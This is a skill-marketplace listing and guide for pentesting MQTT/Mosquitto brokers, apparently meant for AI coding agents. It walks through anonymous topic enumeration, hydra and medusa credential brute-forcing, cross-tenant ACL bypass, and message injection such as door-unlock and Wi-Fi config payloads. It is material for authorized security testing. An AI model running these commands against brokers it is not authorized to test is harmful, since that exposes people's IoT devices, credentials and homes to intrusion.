# Mqtt Pentesting > Pentest MQTT (Mosquitto) services on port 1883 or non-standard ports. Use this skill whenever the user mentions MQTT, Mosquitto, IoT device testing, publish/subscribe protocols, or needs to enumerate and exploit MQTT brokers. This includes checking for authentication bypass, topic enumeration, ACL bypass, and plaintext credential exposure. - Skill: `abelrguezr/mqtt-pentesting` (Agent Skill, multi-file: 3 files) - Install (CLI): `npx skillmds@latest add abelrguezr/mqtt-pentesting` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/mqtt-pentesting/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/mqtt-pentesting --- # MQTT Pentesting Skill A comprehensive guide for pentesting MQTT (Mosquitto) services, commonly found in IoT environments. ## When to Use This Skill Use this skill when: - Port 1883 (or non-standard MQTT ports) is open on a target - You need to enumerate MQTT topics and messages - Testing IoT device communication protocols - Checking for authentication bypass or weak ACLs - Analyzing publish/subscribe message flows - Looking for plaintext credential exposure ## Quick Start ```bash # Subscribe to all topics on a broker mosquitto_sub -h -p -t "#" -v # Subscribe to system topics mosquitto_sub -h -p -t "$SYS/#" -v # Publish a test message mosquitto_pub -h -p -t "test/topic" -m "Hello World" ``` ## Step 1: Service Discovery ### Identify MQTT Services MQTT typically runs on port 1883, but IoT devices often use non-standard ports: ```bash # Nmap scan for MQTT nmap -p 1883 --script mqtt-discover # Check for MQTT on common alternative ports nmap -p 1883,8001,8883,8080,9001 # Shodan queries for reconnaissance # port:1883 MQTT # port:8001 MQTT ``` ### Verify MQTT Protocol Use Wireshark to confirm MQTT traffic on suspicious ports: - Look for CONNECT/CONNACK packets - Check for SUBSCRIBE/PUBLISH frames - Note: MQTT is often plaintext (no TLS) ## Step 2: Connection Testing ### Test Anonymous Access Many MQTT brokers allow unauthenticated connections: ```bash # Try connecting without credentials mosquitto_sub -h -p -t "#" -v # Check connection return codes # 0x00 = Connection accepted # 0x05 = Connection refused (not authorized) ``` ### Use the MQTT Scanner Script Run the bundled scanner to automate connection testing: ```bash python scripts/mqtt_scanner.py --host --port ``` This script will: - Attempt anonymous connection - Subscribe to all topics (`#`) - Subscribe to system topics (`$SYS/#`) - Display received messages in real-time ## Step 3: Topic Enumeration ### Subscribe to Common Topics ```bash # All topics mosquitto_sub -h -p -t "#" -v # System topics (broker info) mosquitto_sub -h -p -t "$SYS/#" -v # Common IoT topic patterns mosquitto_sub -h -p -t "home/#" -v mosquitto_sub -h -p -t "device/#" -v mosquitto_sub -h -p -t "sensor/#" -v mosquitto_sub -h -p -t "control/#" -v ``` ### IoT-Specific Topic Patterns Consumer IoT platforms often use predictable topic structures: ```bash # Gateway/hub device topics mosquitto_sub -h -p -t "/gateway//#" -v # App control topics mosquitto_sub -h -p -t "/app//#" -v # Admin/maintenance topics (may leak credentials) mosquitto_sub -h -p -t "/admin/#" -v mosquitto_sub -h -p -t "/config/#" -v mosquitto_sub -h -p -t "/sys/#" -v ``` ## Step 4: Authentication Testing ### Brute-Force Credentials If authentication is required, test common credentials: ```bash # Using hydra for MQTT brute-force hydra -l -P mqtt # Using medusa medusa -h -u -P -M mqtt ``` ### Test with Known Credentials ```bash mosquitto_sub -h -p -u -P -t "#" -v ``` ## Step 5: ACL Bypass Testing ### Cross-Tenant Access Test if you can access other tenants' devices: ```bash # Publish to another device's topic mosquitto_pub -h -p \ -u -P \ -t "/tenant//tx" \ -m '{"command":"power","value":"on"}' # Subscribe to another tenant's topics mosquitto_sub -h -p \ -u -P \ -t "/tenant//#" -v ``` ### Common ACL Bypass Patterns ```bash # Try publishing to admin topics mosquitto_pub -h -p \ -t "/admin/config" \ -m '{"wifi_ssid":"evil","wifi_pass":"password"}' # Try device control commands mosquitto_pub -h -p \ -t "/device//control" \ -m '{"method":"Device.setState","params":{"state":{"power":"on"}}}' ``` ## Step 6: Message Injection ### Publish Test Messages ```bash # Simple message mosquitto_pub -h -p -t "test/topic" -m "Hello World" # JSON payload mosquitto_pub -h -p -t "device/control" \ -m '{"action":"unlock","device":"door1"}' # With QoS level mosquitto_pub -h -p -t "topic" -m "message" -q 1 ``` ## MQTT Packet Types Reference | Type | Code | Description | |------|------|-------------| | CONNECT | 1 | Client requests connection | | CONNACK | 2 | Server acknowledges connection | | PUBLISH | 3 | Send message | | PUBACK | 4 | Acknowledge PUBLISH | | SUBSCRIBE | 8 | Request to listen to topic | | SUBACK | 9 | Acknowledge SUBSCRIBE | | UNSUBSCRIBE | 10 | Stop receiving topic | | DISCONNECT | 14 | Terminate connection | ## Common Vulnerabilities ### 1. Plaintext Credentials - MQTT does not use encryption by default - Credentials sent in clear text - Use Wireshark to capture CONNECT packets ### 2. Missing Authentication - Many brokers allow anonymous access - Check return code 0x00 (accepted) vs 0x05 (refused) ### 3. Weak Topic ACLs - Topics namespaced only by deviceId - Any authenticated user can access all devices - Test cross-tenant access ### 4. Sensitive Data Leakage - Wi-Fi credentials in config topics - Device state information - User activity data ## Tools ### Mosquitto Clients ```bash apt-get install mosquitto mosquitto-clients ``` ### Python MQTT Client ```bash pip install paho-mqtt ``` ### Additional Tools - [python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) - [mqtt-pwn](https://github.com/akamai-threat-research/mqtt-pwn) ## Reporting Document findings with: - Broker address and port - Authentication status (open/required) - Enumerated topics - Sensitive data discovered - ACL bypass capabilities - Sample messages captured ## References - [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home) - [MQTT Protocol Specification](http://mqtt.org) - [Mosquitto Documentation](https://mosquitto.org/documentation/)